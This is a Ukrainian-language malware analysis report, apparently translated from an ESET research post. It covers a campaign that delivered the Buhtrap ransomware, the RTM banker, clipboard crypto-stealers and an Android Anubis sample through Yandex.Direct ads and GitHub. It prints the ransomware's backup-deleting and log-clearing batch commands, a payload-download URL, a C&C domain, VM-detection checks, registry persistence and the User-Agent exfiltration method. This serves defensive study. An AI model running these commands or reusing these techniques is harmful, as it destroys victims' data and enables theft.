Бекдор та шифратор Buhtrap поширювалися за допомогою Яндекс.Директ

Щоб націлити кібератаку на бухгалтерів, можна використовувати робочі документи, які вони шукають у мережі. Приблизно так останні кілька місяців діяла кібергрупа, що розповсюджує відомі бекдори Бухтрап и RTM, а також шифратори та ПЗ для крадіжки криптовалют. Більшість цілей розташовані у Росії. Атаку реалізовано шляхом розміщення шкідливої ​​реклами в Яндекс.Директ. Потенційні жертви переходили на сайт, де їм пропонувалося завантажити шкідливий файл, замаскований під шаблон документа. Яндекс видалив шкідливу рекламу після нашого попередження.

Вихідний код Buhtrap у минулому був злитий у мережу, тому його може використовувати будь-хто. Ми не маємо інформації щодо доступності коду RTM.

У пості розповімо, як атакуючі розповсюджували шкідливе програмне забезпечення за допомогою Яндекс.Директ і хостили його на GitHub. Завершить посаду технічний аналіз малварі.

Бекдор та шифратор Buhtrap поширювалися за допомогою Яндекс.Директ

Buhtrap та RTM знову у справі

Механізм поширення та жертви

Різне корисне навантаження, що доставляється жертвам, поєднує загальний механізм поширення. Усі створені зловмисниками шкідливі файли розміщувалися у двох різних репозиторіях GitHub.

Зазвичай в репозиторії знаходився один шкідливий файл, який часто змінювався. Оскільки на GitHub можна переглянути історію змін репозиторію, ми бачимо, яка шкідлива програма поширювалася у певний період. Щоб переконати жертву скачати шкідливий файл, використовувався сайт blanki-shabloni24 [.] ru, показаний на малюнку вище.

Дизайн сайту та всі назви шкідливих файлів витримані в єдиній концепції – бланки, шаблони, договори, зразки тощо. Якщо врахувати, що в минулому програмне забезпечення Buhtrap та RTM вже використовувалося в атаках на бухгалтерів, ми припустили, що в новій кампанії стратегія та сама. Питання лише у тому, як жертва потрапляла на сайт атакуючих.

зараження

Щонайменше кілька потенційних жертв, які опинилися на цьому сайті, були залучені шкідливою рекламою. Нижче наведено приклад URL:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

Як можна бачити на засланні, банер був розміщений на легітимному бухгалтерському форумі bb.f2[.]kz. Важливо відзначити, що банери з'являлися на різних сайтах, у всіх був один і той же id кампанії (blanki_rsya), і більшість належала до сервісів бухобліку чи юридичної допомоги. З URL видно, що потенційна жертва використала запит «завантажити бланк рахунку», що підкріплює нашу гіпотезу про цільові атаки. Нижче наведено сайти, на яких з'являлися банери та відповідні пошукові запити.

  • скачати бланк рахунку - bb.f2[.]kz
  • зразок договору - Ipopen [.] ru
  • заява скарга зразок - 77metrov.
  • бланк договору - blank-dogovor-kupli-prodazhi [.] ru
  • судове клопотання зразок - zen.yandex.
  • зразок скарги - yurday.
  • зразки бланків договорів - Regforum
  • бланк договору - assistentus [.] ru
  • зразок договору квартири - napravah[.]com
  • зразки юридичних договорів - avito [.] ru

Можливо, сайт blanki-shabloni24[.]ru був налаштований так, щоб пройти просту візуальну оцінку. Як правило, реклама, що веде на сайт, що професійно виглядає з посиланням на GitHub, не виглядає чимось очевидно поганим. Крім того, атакуючі викладали шкідливі файли у репозиторій лише на обмежений період, ймовірно, на час проведення кампанії. Більшість у репозиторії на GitHub лежав порожній архів zip чи чистий файл ехе. Таким чином, атакуючі могли розповсюджувати рекламу через Яндекс.Директ на сайтах, які з великою ймовірністю відвідувалися бухгалтерами, які приходили за конкретними пошуковими запитами.

Далі розглянемо різне корисне навантаження, яке розповсюджувалося таким чином.

Аналіз корисного навантаження

Хронологія розповсюдження

Шкідлива кампанія розпочалася наприкінці жовтня 2018 року та активна на момент написання посту. Оскільки весь репозиторій був у відкритому доступі на GitHub, ми склали точну хронологію поширення шести різних сімейств шкідливого програмного забезпечення (див. малюнок нижче). Ми додали рядок, який показує момент виявлення посилання на банер, згідно з телеметрією ESET, для порівняння з історією git. Як бачите, це добре корелює з доступністю корисного навантаження на GitHub. Розбіжність наприкінці лютого можна пояснити відсутністю у нас частини історії змін, оскільки репозиторій було видалено з GitHub, перш ніж ми змогли його отримати повністю.

Бекдор та шифратор Buhtrap поширювалися за допомогою Яндекс.Директ
Малюнок 1. Хронологія поширення малварі.

Сертифікати для підписування коду

У кампанії використовувалось безліч сертифікатів. Деякі підписували більше одного сімейства шкідливого ПЗ, що додатково вказує на приналежність різних зразків до однієї кампанії. Незважаючи на доступність закритого ключа, оператори не підписували бінарні файли систематично та використовували ключ не для всіх зразків. Наприкінці лютого 2019 року зловмисники почали створювати недійсні підписи за допомогою сертифіката, що належить Google, до якого вони не мають закритого ключа.

Усі сертифікати, що задіяні в кампанії, та підписані ними сімейства малварі перераховані в таблиці нижче.

Бекдор та шифратор Buhtrap поширювалися за допомогою Яндекс.Директ

Ми також використовували ці сертифікати підпису коду для встановлення зв'язку з іншими сімействами шкідливого ПЗ. Для більшості сертифікатів ми не знайшли зразків, які б поширювалися не через репозиторій GitHub. Однак сертифікат TOV "MARIYA" використовувався для підпису малварі, що належить ботнету Wauchos, рекламного ПЗ та майнерів. Малоймовірно, що це шкідливе програмне забезпечення пов'язане з цією кампанією. Швидше за все, сертифікат був куплений у даркнеті.

Win32/Filecoder.Buhtrap

Перший компонент, який привернув нашу увагу, – вперше виявлений Win32/Filecoder.Buhtrap. Це бінарний файл на Delphi, який іноді буває запакований. Здебільшого він поширювався у лютому–березні 2019 року. Він веде себе, як і належить програмі-вимагателю – шукає локальні диски та мережеві папки та шифрує виявлені файли. Для компрометації йому не потрібне інтернет-підключення, оскільки він не зв'язується із сервером для надсилання ключів шифрування. Натомість він додає «токен» наприкінці повідомлення про викуп, а для зв'язку з операторами пропонує використовувати email або Bitmessage.

Щоб зашифрувати якнайбільше важливих ресурсів, Filecoder.Buhtrap запускає потік, призначений для завершення роботи ключового ПЗ, у якого можуть бути відкриті обробники файлів з цінною інформацією, що може завадити шифруванню. Цільові процеси – переважно системи управління базою даних (СУБД). Крім того, Filecoder.Buhtrap видаляє файли журналів та бекапи, щоб утруднити відновлення даних. Для цього виконується пакетний скрипт, наведений нижче.

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

Filecoder.Buhtrap використовує легітимний онлайн-сервіс IP Logger, створений для збирання інформації про відвідувачів сайтів. Це призначено для відстеження жертв шифратора, за що відповідає командний рядок:

mshta.exe "javascript:document.write('');"

Файли для шифрування вибираються у разі розбіжності за трьома списками винятків. По-перше, не шифруються файли з такими розширеннями: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys та . Bat. По-друге, всі файли, для яких повний шлях містить рядки директорії зі списку, наведеного нижче, виключаються.

.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel

По-третє, певні імена файлів також виключаються із шифрування, у тому числі ім'я файлу повідомлення з вимогою викупу. Список наведений нижче. Очевидно, всі ці винятки призначені для збереження можливості запуску машини, але з мінімальною придатністю до експлуатації.

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

Схема шифрування файлів

Після запуску шкідливе програмне забезпечення генерує пару 512-бітних ключів RSA. Приватна експонента (d) і модуль (n) потім шифруються за допомогою жорстко закодованого 2048-бітного відкритого ключа (відкрита експонента та модуль), упаковуються zlib і кодуються base64. Код, що відповідає за це, наведено на малюнку 2.

Бекдор та шифратор Buhtrap поширювалися за допомогою Яндекс.Директ
Рисунок 2. Результат декомпіляції Hex-Rays процесу генерації 512-бітної пари ключів RSA.

Нижче наведено приклад простого тексту зі згенерованим закритим ключем, який являє собою токен, що прикріплюється до повідомлення про викуп.

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

Відкритий ключ атакуючих наведено нижче.

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

Файли зашифровані за допомогою AES-128-CBC із 256-бітним ключем. Для кожного файлу, що шифрується, генеруються новий ключ і новий вектор ініціалізації. Інформація про ключ додається в кінець файлу, що шифрується. Розглянемо формат зашифрованого файлу.
У зашифрованих файлів наступний header:

Бекдор та шифратор Buhtrap поширювалися за допомогою Яндекс.Директ

Дані вихідного файлу із додаванням магічного значення VEGA шифруються до перших 0х5000 байтів. Вся інформація для розшифровки прикріплюється до файлу з наступною структурою:

Бекдор та шифратор Buhtrap поширювалися за допомогою Яндекс.Директ

— Маркер розміру файлу містить мітку, що вказує, чи перевищує файл розмір 0x5000 байт
- AES key blob = ZlibCompress(RSAEncrypt(AES ключ + IV, відкритий ключ згенерованої пари ключів RSA))
- RSA key blob = ZlibCompress(RSAEncrypt(згенерований закритий ключ RSA, жорстко закодований відкритий ключ RSA))

Win32/ClipBanker

Win32/ClipBanker – компонент, який з перервами поширювався з кінця жовтня до початку грудня 2018 року. Його роль полягає у відстеженні вмісту буфера обміну, він шукає адреси криптовалютних гаманців. Визначивши адресу цільового гаманця, ClipBanker замінює його на адресу, яка, ймовірно, належить операторам. Зразки, які ми вивчили, не були ні запаковані, ні обфусцовані. Єдиний механізм, який використовується для маскування поведінки, – шифрування рядків. Адреси гаманців операторів зашифровані за допомогою RC4. Цільові криптовалюти – Bitcoin, Bitcoin cash, Dogecoin, Ethereum та Ripple.

У період поширення шкідливої ​​програми на Bitcoin-гаманці атакуючих було відправлено незначну суму у ВТС, що ставить під сумнів успіх кампанії. Крім того, немає підстав припускати, що ці транзакції взагалі були пов'язані із ClipBanker.

Win32/RTM

Компонент Win32/RTM поширювався протягом кількох днів на початку березня 2019 року. RTM – троян-банкер, написаний на Delphi, орієнтований системи дистанційного банківського обслуговування. У 2017 році дослідники ESET опублікували докладний аналіз цієї програми опис все ще актуально. У січні 2019 року Palo Alto Networks також випустили пост у блозі про RTM.

Завантажувач Buhtrap

Якийсь час на GitHub був доступний завантажувач, не схожий на попередні інструменти Buhtrap. Він звертається до https://94.100.18[.]67/RSS.php?<some_id> для отримання наступного етапу та завантажує його безпосередньо в пам'ять. Можна виділити дві поведінки коду другого етапу. У першому URL RSS.php передавав бекдор Buhtrap безпосередньо - цей бекдор дуже схожий на той, що доступний після витоку вихідного коду.

Що цікаво, ми бачимо кілька кампаній з бекдором Buhtrap, і, ймовірно, їх ведуть різні оператори. У цьому випадку головна відмінність у тому, що бекдор завантажується безпосередньо на згадку і не використовує звичайну схему з процесом розгортання DLL, про яку ми розповідали раніше. Крім того, оператори змінили ключ RC4, який використовується для шифрування мережевого трафіку до C&C-сервера. У більшості кампаній, які ми бачили, оператори не переймалися зміною цього ключа.

Друга, складніша поведінка – URL RSS.php передавав інший завантажувач. У ньому було реалізовано певну обфускацію, таку як перебудова динамічної таблиці імпорту. Мета завантажувача – зв'язатися з C&C-сервером msiofficeupd[.]com/api/F27F84EDA4D13B15/2, відправити логи та чекати відповіді. Він обробляє відповідь як blob, завантажує її на згадку і виконує. Корисне навантаження, яке ми бачили при виконанні цього завантажувача, було тим самим бекдором Buhtrap, але, можливо, існують інші компоненти.

Android/Spy.Banker

Цікаво, що у репозиторії GitHub було знайдено і компонент для Android. Він був в основній гілці лише один день – 1 листопада 2018 року. Крім розміщення на GitHub, телеметрія ESET не знаходить свідчень поширення цього шкідливого програмного забезпечення.

Компонент розміщувався як Android Application Package (APK). Він сильно обфузований. Шкідлива поведінка прихована в зашифрованому JAR, розташованому в APK. Він зашифрований за RC4 за допомогою цього ключа:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

Той самий ключ і алгоритм використовуються для шифрування рядків. JAR розташований у APK_ROOT + image/files. Перші 4 байти файлу містять довжину зашифрованого JAR, який починається безпосередньо після поля довжини.

Розшифрувавши файл, ми виявили, що це Anubis – раніше задокументований банкер для Android. Шкідливе ПЗ має такі функції:

  • запис з мікрофона
  • створення скріншотів
  • отримання GPS-координат
  • кейлоггер
  • шифрування даних пристрою та вимога викупу
  • розсилання спаму

Що цікаво, банкер використовував Twitter як резервний канал комунікації для отримання іншого C&C-сервера. Проаналізований нами зразок використав обліковий запис @JohnesTrader, але на момент аналізу він уже був заблокований.

Банкер містить список цільових програм на Android. Він став довшим, ніж список, отриманий під час дослідження Sophos. У списку безліч додатків банків, програми для онлайн-шопінгу, такі як Amazon та eBay, криптовалютні сервіси.

MSIL/ClipBanker.IH

Останній компонент, який розповсюджувався в рамках цієї кампанії – файл .NET Windows, що виконується, що з'явився в березні 2019 року. Більшість вивчених версій було упаковано ConfuserEx v1.0.0. Як і ClipBanker цей компонент використовує буфер обміну. Його мета – широкий діапазон криптовалют, а також оффери у Steam. Крім того, він використовує службу IP Logger для крадіжки закритого ключа WIF Bitcoin.

Механізми захисту
На додаток до переваг, які дає ConfuserEx у вигляді протидії налагодженню, дампі та втручанню в роботу, у компоненті реалізована можливість детектування антивірусних продуктів та віртуальних машин.

Для перевірки запуску у віртуальній машині шкідливе ПЗ використовує вбудований у Windows командний рядок WMI (WMIC) для запиту інформації про BIOS, а саме:

wmic bios

Потім програма парсить виведення команди та шукає ключові слова: VBOX, VirtualBox, XEN, qemu, bochs, VM.

Для виявлення антивірусних продуктів зловмисне програмне забезпечення надсилає Windows Management Instrumentation (WMI) запит у Windows Security Center за допомогою ManagementObjectSearcher API як показано нижче. Після декодування base64 виклик виглядає так:

ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')

Бекдор та шифратор Buhtrap поширювалися за допомогою Яндекс.Директ
3. Процес визначення антивірусних продуктів.

Крім того, шкідливе програмне забезпечення перевіряє, чи не запущено CryptoClipWatcher, інструмент для захисту від атак на буфер обміну, і, якщо він запущений, зупиняє всі потоки цього процесу, тим самим вимикаючи захист.

Персистентність

Вивчена нами версія шкідливого ПЗ копіює себе в %APPDATA%googleupdater.exe та виставляє атрибут «прихований» для директорії google. Потім вона змінює значення SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell у реєстрі Windows і додає шлях updater.exe. Так шкідливе програмне забезпечення буде виконуватися при кожному вході користувача.

Шкідлива поведінка

Як і ClipBanker, шкідливе програмне забезпечення відстежує вміст буфера обміну і шукає адреси криптовалютних гаманців, а виявивши, замінює його однією з адрес оператора. Нижче наведено список цільових адрес на основі знайденого в коді.

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

Для кожного з типів адрес є відповідне регулярне вираз. Значення STEAM_URL використовується для атаки на систему Steam, як видно з регулярного виразу, який використовується для визначення буфера:

b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b

Канал ексфільтрації

Окрім заміни адрес у буфері, шкідливе ПЗ націлене на закриті WIF-ключі Bitcoin, Bitcoin Core та Electrum Bitcoin гаманці. Програма використовує plogger.org як канал ексфільтрації для отримання закритого WIF ключа. Для цього оператори додають дані закритого ключа до заголовка User-Agent HTTP, як показано нижче.

Бекдор та шифратор Buhtrap поширювалися за допомогою Яндекс.Директ
Рисунок 4. Консоль IP Logger із виведеними даними.

Для ексфільтрації гаманців оператори не використовували iplogger.org. Ймовірно, вони вдалися до іншого методу через обмеження 255 символів у полі User-Agent, що відображаються у веб-інтерфейсі IP Logger. У вивчених нами зразках інший сервер для виведення даних зберігався у змінному середовищі DiscordWebHook. Що дивно, це змінне середовище ніде в коді не призначається. Це дає підстави припускати, що шкідлива програма поки що перебуває на стадії розробки, і змінна призначена на тестовій машині оператора.

Є й інша ознака того, що програма у розробці. Бінарний файл включає два URL iplogger.org, і до обох надсилається запит при ексфільтрації даних. У запиті до одного з цих URL значення поля Referer передує “DEV /”. Ми також знайшли версію, яка не була запакована за допомогою ConfuserEx, одержувач для цього URL названий DevFeedbackUrl. На основі імені змінного середовища ми вважаємо, що оператори планують використовувати легітимний сервіс Discord та його систему веб-перехоплення для крадіжки криптовалютних гаманців.

Висновок

Ця кампанія – приклад використання легітимних рекламних сервісів у кібератаках. Схема орієнтована на російські організації, але ми не здивуємося, побачивши таку атаку з використанням неросійських сервісів. Щоб уникнути компрометації, користувачі повинні бути впевнені в репутації джерела ПЗ, що скачується.

Повний список індикаторів компрометації та атрибутів MITRE ATT&CK доступний за посиланням.

Джерело: habr.com

Додати коментар або відгук